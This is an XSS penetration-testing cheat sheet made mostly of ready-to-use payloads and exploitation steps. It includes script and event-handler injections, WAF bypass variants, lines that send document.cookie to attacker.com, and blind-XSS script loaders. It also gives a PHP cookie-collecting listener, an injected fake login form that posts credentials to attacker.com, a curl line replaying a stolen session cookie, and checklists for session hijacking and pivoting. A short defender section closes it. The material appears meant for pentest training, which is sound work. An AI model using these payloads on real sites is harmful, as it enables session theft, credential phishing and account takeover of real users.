Cheatsheet

Basic Test Payloads

<script>alert(1)</script>
<script>alert(window.origin)</script>
<script>print()</script>
<plaintext>
"><script>alert(1)</script>
'><script>alert(1)</script>

Event-Handler Payloads (When <script> Is Blocked)

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<iframe onload=alert(1)>
<marquee onstart=alert(1)>

Attribute-Context Payloads

" onfocus=alert(1) autofocus="
" onmouseover=alert(1) "
" autofocus onfocus=alert(1) x="

JavaScript-Context Payloads

";alert(1);//
";alert(1);var x="
'-alert(1)-'
\';alert(1);//

URI-Based Payloads

javascript:alert(1)
javascript:alert(window.origin)
data:text/html,<script>alert(1)</script>

DOM XSS Payloads (via URL Hash)

#<img src=x onerror=alert(1)>
#task=<script>alert(1)</script>
#<svg/onload=alert(1)>

Defacing Snippets

// background
document.body.style.background="#141d2b"
// title
document.title='Hacked'
// replace body
document.getElementsByTagName('body')[0].innerHTML='HACKED'
// specific element
document.getElementById('todo').innerHTML='New'
// stealthy — image
new Image().src='http://attacker.com/log?c='+document.cookie
 
// stealthy — fetch
fetch('http://attacker.com/log?c='+document.cookie)
 
// loud — redirect
document.location='http://attacker.com/log?c='+document.cookie

Blind XSS Identifiers

<script src=http://attacker.com/field1></script>
'><script src=http://attacker.com/field2></script>
"><script src=http://attacker.com/field3></script>
<script>$.getScript("http://attacker.com/field4")</script>

External Script Loader

<script src="http://attacker.com/s.js"></script>

Listener / Collector (bash)

# php listener (shows request body too)
mkdir /tmp/srv && cd /tmp/srv && sudo php -S 0.0.0.0:80
 
# python simple server
python3 -m http.server 80
 
# netcat for one-off
nc -lvnp 80
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "IP: {$_SERVER['REMOTE_ADDR']} | {$cookie}\n");
        fclose($file);
    }
}
?>

Phishing Form Injection

document.body.innerHTML='<h3>Session expired</h3>\
<form action="http://attacker.com/log" method="GET">\
<input name="username" placeholder="Username"><br>\
<input type="password" name="password" placeholder="Password"><br>\
<button>Login</button></form>';

WAF Bypass Variants

<ScRiPt>alert(1)</sCrIpT>         # case toggling
<svg/onload=alert`1`>              # backticks
<img src=x onerror=&#97;lert(1)>   # html entity
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>   # base64 encoded
<iframe src=javascript:alert(1)>   # javascript: uri
<script>alert/* */(1)</script>     # comment separator
<script>a=alert;a(1)</script>      # function reference

XSStrike

git clone https://github.com/s0md3v/XSStrike && cd XSStrike
pip install -r requirements.txt
python xsstrike.py -u "http://target/?id=test"
python xsstrike.py -u "http://target/?id=test" --crawl
python xsstrike.py -u "http://target/?id=test" --fuzzer

Discovery Checklist Sinks (grep)

grep -rn "innerHTML\|outerHTML\|document.write\|eval(\|setTimeout(" .
grep -rn "location.hash\|location.search\|document.URL" .
grep -rn "dangerouslySetInnerHTML\|v-html\|\[innerHTML\]" .
curl -b "sessionid=STOLEN_VALUE" http://target/admin

Common Injection Points to Fuzz

?q=       # search
?id=      # object references
?name=    # profile / display
?url=     # redirects, link previews
#fragment # DOM-based
Headers:  User-Agent, Referer, X-Forwarded-For
Cookies:  prefs, lang, theme

Checklist

Discovery

  • Enumerate every input field (forms, URL params, cookies, headers, JSON/XML bodies)
  • Spray basic test payload (<script>alert(1)</script>) on each input
  • Check if input is reflected in the response (confirmed reflection ≠ confirmed XSS)
  • Open DevTools → Console; look for errors confirming JS context breakage
  • Identify the injection context (HTML body / attribute / JS string / URL / CSS)
  • Craft context-appropriate payload — one payload doesn’t fit all

Stored XSS

  • Submit payload in free-text field (comment, bio, subject)
  • Refresh the page — does the payload still fire?
  • View source — is the payload stored unencoded?
  • Test which fields reach admin / backend views (likely Blind XSS targets)

Reflected XSS

  • Try payload in GET parameter
  • Test if the reflection point escapes dangerous characters
  • If filtered, try alternative payloads (attribute context, event handlers)
  • Craft a shareable URL for proof-of-concept

DOM XSS

  • grep client-side JS for sinks (innerHTML, document.write, eval)
  • Trace back from sink to source (URL hash, query string, cookie, postMessage)
  • Test payload via #hash without even sending a server request
  • Confirm sink executes without sanitization

Blind XSS

  • Inject identification payloads with field-name path
  • Set up listener (php -S, python http.server, or XSS Hunter)
  • Wait for callback — may be hours or days
  • Note which fields called back → those are vulnerable

Exploitation — Defacing

  • Demonstrate persistent visual change for stakeholder reporting

Exploitation — Phishing

  • Inject fake login form in the trusted domain
  • Clean up original page elements to look legitimate
  • Set form action to attacker-controlled endpoint
  • Add redirect back to real app after submit

Exploitation — Session Hijacking

  • Check if session cookie has HttpOnly set
  • If not: deploy new Image().src=...+document.cookie payload
  • If yes: use fetch with credentials: 'include' to act as the victim without cookie theft
  • Collect cookie on your server
  • Replay cookie via Firefox DevTools / Burp / curl

Post-Exploitation

  • Enumerate victim’s role and privileges
  • Pivot to admin functions if available
  • Hunt for stored secrets in the authenticated UI (API keys, config)
  • Document impact clearly for the report

Defender View (for reporting)

  • Check CSP header — present? strict? allows unsafe-inline?
  • Check cookie flags: HttpOnly, Secure, SameSite
  • Check output encoding library in use
  • Note any input validation that was present but was bypassed